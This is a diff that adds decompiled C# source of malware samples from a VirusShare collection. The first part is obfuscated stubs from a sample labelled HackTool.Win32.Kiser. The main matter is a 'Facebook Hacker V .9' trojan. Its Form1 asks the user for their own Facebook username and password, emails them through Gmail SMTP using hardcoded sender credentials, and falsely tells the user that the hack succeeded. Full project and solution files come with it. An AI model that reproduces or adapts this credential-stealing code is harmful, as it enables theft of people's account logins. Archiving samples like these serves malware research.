+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void YByTg3lBdN7s2U5KSYX([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void cpf1ZEln4LopkIZO85Y([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void lccpO5lAuDtC8GI0X4w([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u00371kDLelmSVtViFK9Cki([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void I1Gk09ldJQAidi5PmhS([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void GpMPS1lj2W7CUBgPCjo([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void NwOPyulHpMQhauFQUQs([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void teLOILlkHsXwKus1VT7([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void LsHfDalTuPvnAlyoJ0o([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0031a90tLlh9DyyIv3PyHP([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void GAtROolEv5Bs25KoUst([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0030Uesm9l1S6CeeIoI2bW([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void UQdrjrl9RXiERWMuh8Z([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Vf6QoElwnyQ4qhRTNP9([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0036NWRcflCsBwOp3XO9CE([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void NInD8rl6iwyRe1DYDTD([In] object obj0, [In] object obj1)
+    {
+    }
+
+    static UpdateC() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/YAjZo0OoeOFXnanNqL/a3QWFQfrZxBoktRnP7.cs

@@ -0,0 +1,15 @@
+// Decompiled with JetBrains decompiler
+// Type: YAjZo0OoeOFXnanNqL.a3QWFQfrZxBoktRnP7
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using PiDHnfAR7iBcyRY1A4;
+
+namespace YAjZo0OoeOFXnanNqL
+{
+  internal static class a3QWFQfrZxBoktRnP7
+  {
+    static a3QWFQfrZxBoktRnP7() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/_003CModule_003E{1E0CF42E-6AF6-4AA5-9FF2-47ED1361C.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: <Module>{1E0CF42E-6AF6-4AA5-9FF2-47ED1361C4A4}
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+internal class \u003CModule\u003E\u007B1E0CF42E\u002D6AF6\u002D4AA5\u002D9FF2\u002D47ED1361C4A4\u007D
+{
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/dGkVnXHiK2tWFJ4C6B/4ftP2cJrps1Vp0AYUA.cs

@@ -0,0 +1,50 @@
+// Decompiled with JetBrains decompiler
+// Type: dGkVnXHiK2tWFJ4C6B.4ftP2cJrps1Vp0AYUA
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using System;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace dGkVnXHiK2tWFJ4C6B
+{
+  internal class \u0034ftP2cJrps1Vp0AYUA
+  {
+    internal static ModuleHandle Z01sru3p0 = \u0034ftP2cJrps1Vp0AYUA.i4UQhYlNw1yiVt1rsfi(\u0034ftP2cJrps1Vp0AYUA.yypPyWl4DNKX6dAPYar((object) \u0034ftP2cJrps1Vp0AYUA.MH2o7tl2SB1cNvlMRnn(__typeref (\u0034ftP2cJrps1Vp0AYUA)).Assembly)[0]);
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static RuntimeTypeHandle yDK9Rv8xYSJui(int token) => \u0034ftP2cJrps1Vp0AYUA.Z01sru3p0.GetRuntimeTypeHandleFromMetadataToken(token);
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static RuntimeFieldHandle \u0037h59Rv8sBfPeF(int token) => \u0034ftP2cJrps1Vp0AYUA.Z01sru3p0.GetRuntimeFieldHandleFromMetadataToken(token);
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public \u0034ftP2cJrps1Vp0AYUA() => \u0034ftP2cJrps1Vp0AYUA.ksyKZ4lZYh3pUHkcQ2D((object) this);
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    static \u0034ftP2cJrps1Vp0AYUA()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool L3iQ6ClYFIxQRHkWs3y() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool oDUJnZlDaqwE9dqyYeH() => false;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ksyKZ4lZYh3pUHkcQ2D([In] object obj0) => obj0.\u002Ector();
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static Type MH2o7tl2SB1cNvlMRnn([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object yypPyWl4DNKX6dAPYar([In] object obj0) => (object) ((Assembly) obj0).GetModules();
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static ModuleHandle i4UQhYlNw1yiVt1rsfi([In] object obj0) => ((Module) obj0).ModuleHandle;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/eWVX1sTotVGuGeBpEA/Ewv0DHKP53XXBO04Lw.cs

@@ -0,0 +1,35 @@
+// Decompiled with JetBrains decompiler
+// Type: eWVX1sTotVGuGeBpEA.Ewv0DHKP53XXBO04Lw
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using PiDHnfAR7iBcyRY1A4;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace eWVX1sTotVGuGeBpEA
+{
+  internal class Ewv0DHKP53XXBO04Lw
+  {
+    private static bool Z01sru3p0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void RMg9RvhzrSvKE()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public Ewv0DHKP53XXBO04Lw()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    static Ewv0DHKP53XXBO04Lw() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void K3ZNjTlX67Q3pF8vIBS([In] object obj0)
+    {
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/p2XtB2VTdFjK0JQIVK/MdFubyyWUT0jdlleiq.cs

@@ -0,0 +1,50 @@
+// Decompiled with JetBrains decompiler
+// Type: p2XtB2VTdFjK0JQIVK.MdFubyyWUT0jdlleiq
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace p2XtB2VTdFjK0JQIVK
+{
+  [HideModuleName]
+  [StandardModule]
+  [GeneratedCode("MyTemplate", "10.0.0.0")]
+  internal sealed class MdFubyyWUT0jdlleiq
+  {
+    static MdFubyyWUT0jdlleiq() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [ComVisible(false)]
+    internal sealed class kmiJxR0smO2aJ5fRa4<T> where T : new()
+    {
+      [DebuggerHidden]
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal T WHGs5tnTk() => (T) null;
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public kmiJxR0smO2aJ5fRa4()
+      {
+      }
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static bool BuYVlBywHq5UKSARc0() => true;
+
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      internal static bool JU5aw2pFf7AkEFDqA8() => true;
+
+      static kmiJxR0smO2aJ5fRa4() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCopyright("Copyright ©  2010")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyTitle("Facebook Hacker V .9")]
+[assembly: AssemblyProduct("Facebook Hacker V .9")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: Guid("97d1023c-40a1-4589-9ea7-3b7b043d1930")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/HackTool/Win32/K/HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332/Form1.cs

@@ -0,0 +1,390 @@
+// Decompiled with JetBrains decompiler
+// Type: Facebook_Hacker_V._9.Form1
+// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Net;
+using System.Net.Mail;
+using System.Runtime.CompilerServices;
+using System.Windows.Forms;
+
+namespace Facebook_Hacker_V._9
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private static List<WeakReference> __ENCList = new List<WeakReference>();
+    private IContainer components;
+    [AccessedThroughProperty("PictureBox1")]
+    private PictureBox _PictureBox1;
+    [AccessedThroughProperty("Label1")]
+    private Label _Label1;
+    [AccessedThroughProperty("TextBox1")]
+    private TextBox _TextBox1;
+    [AccessedThroughProperty("Label2")]
+    private Label _Label2;
+    [AccessedThroughProperty("TextBox2")]
+    private TextBox _TextBox2;
+    [AccessedThroughProperty("Label3")]
+    private Label _Label3;
+    [AccessedThroughProperty("TextBox3")]
+    private TextBox _TextBox3;
+    [AccessedThroughProperty("Label4")]
+    private Label _Label4;
+    [AccessedThroughProperty("Button1")]
+    private Button _Button1;
+    [AccessedThroughProperty("ProgressBar1")]
+    private ProgressBar _ProgressBar1;
+    [AccessedThroughProperty("Timer1")]
+    private System.Windows.Forms.Timer _Timer1;
+
+    [DebuggerNonUserCode]
+    static Form1()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    public Form1()
+    {
+      Form1.__ENCAddToList((object) this);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    private static void __ENCAddToList(object value)
+    {
+      lock (Form1.__ENCList)
+      {
+        if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
+        {
+          int index1 = 0;
+          int num = checked (Form1.__ENCList.Count - 1);
+          int index2 = 0;
+          while (index2 <= num)
+          {
+            if (Form1.__ENCList[index2].IsAlive)
+            {
+              if (index2 != index1)
+                Form1.__ENCList[index1] = Form1.__ENCList[index2];
+              checked { ++index1; }
+            }
+            checked { ++index2; }
+          }
+          Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
+          Form1.__ENCList.Capacity = Form1.__ENCList.Count;
+        }
+        Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
+      }
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.components = (IContainer) new System.ComponentModel.Container();
+      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
+      this.PictureBox1 = new PictureBox();
+      this.Label1 = new Label();
+      this.TextBox1 = new TextBox();
+      this.Label2 = new Label();
+      this.TextBox2 = new TextBox();
+      this.Label3 = new Label();
+      this.TextBox3 = new TextBox();
+      this.Label4 = new Label();
+      this.Button1 = new Button();
+      this.ProgressBar1 = new ProgressBar();
+      this.Timer1 = new System.Windows.Forms.Timer(this.components);
+      ((ISupportInitialize) this.PictureBox1).BeginInit();
+      this.SuspendLayout();
+      this.PictureBox1.BackgroundImage = (Image) Facebook_Hacker_V._9.My.Resources.Resources.FaceBook_256x256;
+      this.PictureBox1.ErrorImage = (Image) null;
+      PictureBox pictureBox1_1 = this.PictureBox1;
+      Point point1 = new Point(500, 1);
+      Point point2 = point1;
+      pictureBox1_1.Location = point2;
+      this.PictureBox1.Name = "PictureBox1";
+      PictureBox pictureBox1_2 = this.PictureBox1;
+      Size size1 = new Size(250, 237);
+      Size size2 = size1;
+      pictureBox1_2.Size = size2;
+      this.PictureBox1.TabIndex = 0;
+      this.PictureBox1.TabStop = false;
+      this.Label1.AutoSize = true;
+      this.Label1.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
+      this.Label1.ForeColor = SystemColors.Control;
+      Label label1_1 = this.Label1;
+      point1 = new Point(12, 82);
+      Point point3 = point1;
+      label1_1.Location = point3;
+      this.Label1.Name = "Label1";
+      Label label1_2 = this.Label1;
+      size1 = new Size(83, 20);
+      Size size3 = size1;
+      label1_2.Size = size3;
+      this.Label1.TabIndex = 1;
+      this.Label1.Text = "Username";
+      TextBox textBox1_1 = this.TextBox1;
+      point1 = new Point(101, 84);
+      Point point4 = point1;
+      textBox1_1.Location = point4;
+      this.TextBox1.Name = "TextBox1";
+      TextBox textBox1_2 = this.TextBox1;
+      size1 = new Size(149, 20);
+      Size size4 = size1;
+      textBox1_2.Size = size4;
+      this.TextBox1.TabIndex = 2;
+      this.Label2.AutoSize = true;
+      this.Label2.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
+      this.Label2.ForeColor = SystemColors.ControlLightLight;
+      Label label2_1 = this.Label2;
+      point1 = new Point(12, 113);
+      Point point5 = point1;
+      label2_1.Location = point5;
+      this.Label2.Name = "Label2";
+      Label label2_2 = this.Label2;
+      size1 = new Size(78, 20);
+      Size size5 = size1;
+      label2_2.Size = size5;
+      this.Label2.TabIndex = 3;
+      this.Label2.Text = "Password";
+      TextBox textBox2_1 = this.TextBox2;
+      point1 = new Point(101, 115);
+      Point point6 = point1;
+      textBox2_1.Location = point6;
+      this.TextBox2.Name = "TextBox2";
+      this.TextBox2.PasswordChar = '*';
+      TextBox textBox2_2 = this.TextBox2;
+      size1 = new Size(149, 20);
+      Size size6 = size1;
+      textBox2_2.Size = size6;
+      this.TextBox2.TabIndex = 4;
+      this.Label3.AutoSize = true;
+      this.Label3.Font = new Font("Microsoft Sans Serif", 21.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
+      this.Label3.ForeColor = SystemColors.Control;
+      Label label3_1 = this.Label3;
+      point1 = new Point(10, 9);
+      Point point7 = point1;
+      label3_1.Location = point7;
+      this.Label3.Name = "Label3";
+      Label label3_2 = this.Label3;
+      size1 = new Size(303, 33);
+      Size size7 = size1;
+      label3_2.Size = size7;
+      this.Label3.TabIndex = 5;
+      this.Label3.Text = "Facebook Hacker V .9";
+      TextBox textBox3_1 = this.TextBox3;
+      point1 = new Point(166, 177);
+      Point point8 = point1;
+      textBox3_1.Location = point8;
+      this.TextBox3.Name = "TextBox3";
+      TextBox textBox3_2 = this.TextBox3;
+      size1 = new Size(169, 20);
+      Size size8 = size1;
+      textBox3_2.Size = size8;
+      this.TextBox3.TabIndex = 6;
+      this.Label4.AutoSize = true;
+      this.Label4.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
+      this.Label4.ForeColor = SystemColors.Control;
+      Label label4_1 = this.Label4;
+      point1 = new Point(198, 154);
+      Point point9 = point1;
+      label4_1.Location = point9;
+      this.Label4.Name = "Label4";
+      Label label4_2 = this.Label4;
+      size1 = new Size(100, 20);
+      Size size9 = size1;
+      label4_2.Size = size9;
+      this.Label4.TabIndex = 7;
+      this.Label4.Text = "Victim E-mail";
+      this.Button1.Font = new Font("Microsoft Sans Serif", 15.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
+      Button button1_1 = this.Button1;
+      point1 = new Point(166, 203);
+      Point point10 = point1;
+      button1_1.Location = point10;
+      this.Button1.Name = "Button1";
+      Button button1_2 = this.Button1;
+      size1 = new Size(169, 59);
+      Size size10 = size1;
+      button1_2.Size = size10;
+      this.Button1.TabIndex = 8;
+      this.Button1.Text = "HACK";
+      this.Button1.UseVisualStyleBackColor = true;
+      ProgressBar progressBar1_1 = this.ProgressBar1;
+      point1 = new Point(16, 268);
+      Point point11 = point1;
+      progressBar1_1.Location = point11;
+      this.ProgressBar1.Name = "ProgressBar1";
+      ProgressBar progressBar1_2 = this.ProgressBar1;
+      size1 = new Size(482, 40);
+      Size size11 = size1;
+      progressBar1_2.Size = size11;
+      this.ProgressBar1.TabIndex = 9;
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.BackColor = SystemColors.ActiveCaptionText;
+      size1 = new Size(749, 328);
+      this.ClientSize = size1;
+      this.Controls.Add((Control) this.ProgressBar1);
+      this.Controls.Add((Control) this.Button1);
+      this.Controls.Add((Control) this.Label4);
+      this.Controls.Add((Control) this.TextBox3);
+      this.Controls.Add((Control) this.Label3);
+      this.Controls.Add((Control) this.TextBox2);
+      this.Controls.Add((Control) this.Label2);
+      this.Controls.Add((Control) this.TextBox1);
+      this.Controls.Add((Control) this.Label1);
+      this.Controls.Add((Control) this.PictureBox1);
+      this.FormBorderStyle = FormBorderStyle.FixedSingle;
+      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
+      this.MaximizeBox = false;
+      this.Name = nameof (Form1);
+      this.StartPosition = FormStartPosition.CenterScreen;
+      this.Text = "Facebook Hacker V .9";
+      ((ISupportInitialize) this.PictureBox1).EndInit();
+      this.ResumeLayout(false);
+      this.PerformLayout();
+    }
+
+    internal virtual PictureBox PictureBox1
+    {
+      [DebuggerNonUserCode] get => this._PictureBox1;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
+    }
+
+    internal virtual Label Label1
+    {
+      [DebuggerNonUserCode] get => this._Label1;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
+    }
+
+    internal virtual TextBox TextBox1
+    {
+      [DebuggerNonUserCode] get => this._TextBox1;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
+    }
+
+    internal virtual Label Label2
+    {
+      [DebuggerNonUserCode] get => this._Label2;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
+    }
+
+    internal virtual TextBox TextBox2
+    {
+      [DebuggerNonUserCode] get => this._TextBox2;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
+    }
+
+    internal virtual Label Label3
+    {
+      [DebuggerNonUserCode] get => this._Label3;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
+    }
+
+    internal virtual TextBox TextBox3
+    {
+      [DebuggerNonUserCode] get => this._TextBox3;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
+    }
+
+    internal virtual Label Label4
+    {
+      [DebuggerNonUserCode] get => this._Label4;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
+    }
+
+    internal virtual Button Button1
+    {
+      [DebuggerNonUserCode] get => this._Button1;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
+      {
+        EventHandler eventHandler = new EventHandler(this.Button1_Click);
+        if (this._Button1 != null)
+          this._Button1.Click -= eventHandler;
+        this._Button1 = value;
+        if (this._Button1 == null)
+          return;
+        this._Button1.Click += eventHandler;
+      }
+    }
+
+    internal virtual ProgressBar ProgressBar1
+    {
+      [DebuggerNonUserCode] get => this._ProgressBar1;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar1 = value;
+    }
+
+    internal virtual System.Windows.Forms.Timer Timer1
+    {
+      [DebuggerNonUserCode] get => this._Timer1;
+      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
+      {
+        EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
+        if (this._Timer1 != null)
+          this._Timer1.Tick -= eventHandler;
+        this._Timer1 = value;
+        if (this._Timer1 == null)
+          return;
+        this._Timer1.Tick += eventHandler;
+      }
+    }
+
+    private void Timer1_Tick(object sender, EventArgs e)
+    {
+      this.ProgressBar1.Increment(1);
+      if (this.ProgressBar1.Value != 100)
+        ;
+    }
+
+    private void Button1_Click(object sender, EventArgs e)
+    {
+      if (Operators.CompareString(this.TextBox1.Text, "", false) == 0)
+      {
+        int num1 = (int) Interaction.MsgBox((object) "Username Is Missing");
+        if (Operators.CompareString(this.TextBox2.Text, "", false) == 0)
+        {
+          int num2 = (int) Interaction.MsgBox((object) "Password Is Missing");
+        }
+      }
+      SmtpClient smtpClient = new SmtpClient();
+      MailMessage mailMessage = new MailMessage();
+      smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential("todorovic.todorovic25@gmail.com", "todorovic");
+      smtpClient.Port = 587;
+      smtpClient.Host = "smtp.gmail.com";
+      smtpClient.EnableSsl = true;
+      smtpClient.Send(new MailMessage()
+      {
+        From = new MailAddress("todorovic.todorovic25@gmail.com"),
+        To = {
+          "todorovic.todorovic25@gmail.com"
+        },
+        Subject = "Username: " + this.TextBox1.Text,
+        Body = "Username : " + this.TextBox1.Text + ", Password : " + this.TextBox2.Text
+      });
+      this.Timer1.Start();
+      int num = (int) Interaction.MsgBox((object) "Successfully hacking, password is located in C/:Documents");
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332/HackTool.Win32.Koobface.a.csproj

@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>Facebook_Hacker_V._9</AssemblyName>
+    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
+    <TargetFrameworkProfile>Client</TargetFrameworkProfile>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <FileAlignment>512</FileAlignment>
+    <RootNamespace>Facebook_Hacker_V._9</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml.Linq" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\InternalXmlHelper.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/HackTool/Win32/K/HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332/HackTool.Win32.Koobface.a.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 11.00
+# Visual Studio 2010
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Facebook_Hacker_V._9", "HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.csproj", "{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}.Debug|Any CPU.Build.0 = Debug|Any CPU
